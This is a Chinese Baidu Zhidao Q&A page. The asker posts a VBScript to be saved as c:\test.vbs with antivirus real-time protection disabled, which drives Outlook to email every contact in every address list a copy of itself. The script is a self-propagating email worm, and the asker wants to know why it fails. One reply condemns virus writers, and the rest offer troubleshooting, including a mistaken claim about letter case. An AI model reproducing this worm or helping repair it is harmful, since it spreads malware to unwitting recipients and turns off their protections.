关于下面一段vb代码,哪里有问题?

来源:百度知道 编辑:UC知道 时间:2024/05/06 04:33:36
在机器上的C:根目录下创建空文件test.vbs。
关闭反病毒软件的实时防护功能。
把下面代码录入到test.vbs文件里。
运行脚本文件
不能执行,为什么?
错误提示:“无法找到名为“Outlook.Aapplication”的automation类”

Set objOA = Wscript.CreateObject("Outlook.Application")
Set objMapi = objOA.GetNameSpace("MAPI")
For i = 1 to objMapi.AddressLists.Count
Set objAddList = objMapi.AddressLists(i)
For j =1 To objAddList.AddressEntries.Count
Set objMail = objOA.CreateItem(0)
ObjMail.Recipients.Add(objAddList.AddressEntries(j))
ObjMail.Subject = "你好!"
ObjMail.Body = "这次给你的附件时我实验题!如果收到附件轻不要下载,不要打开。"
ObjMail.Attachments.Add("c:\test.vbs")
ObjMail.Sent
Next
Next
Set objMapi = Nothing
Set objOA = Nothing
我是用来教学的,没有其他目的
outlook是系统自带的,而且能够使用

找不到最好!省的你到处搞破坏!!我讨厌造病毒和传播病毒的人!!!!

你把第一行Wscript中大写的W改为小写的就可以了。

代码没什么问题,可能是你电脑上outlook组件不存在吧

那就是你的OUTLOOK的版本不对。当前版本不支持这些功能。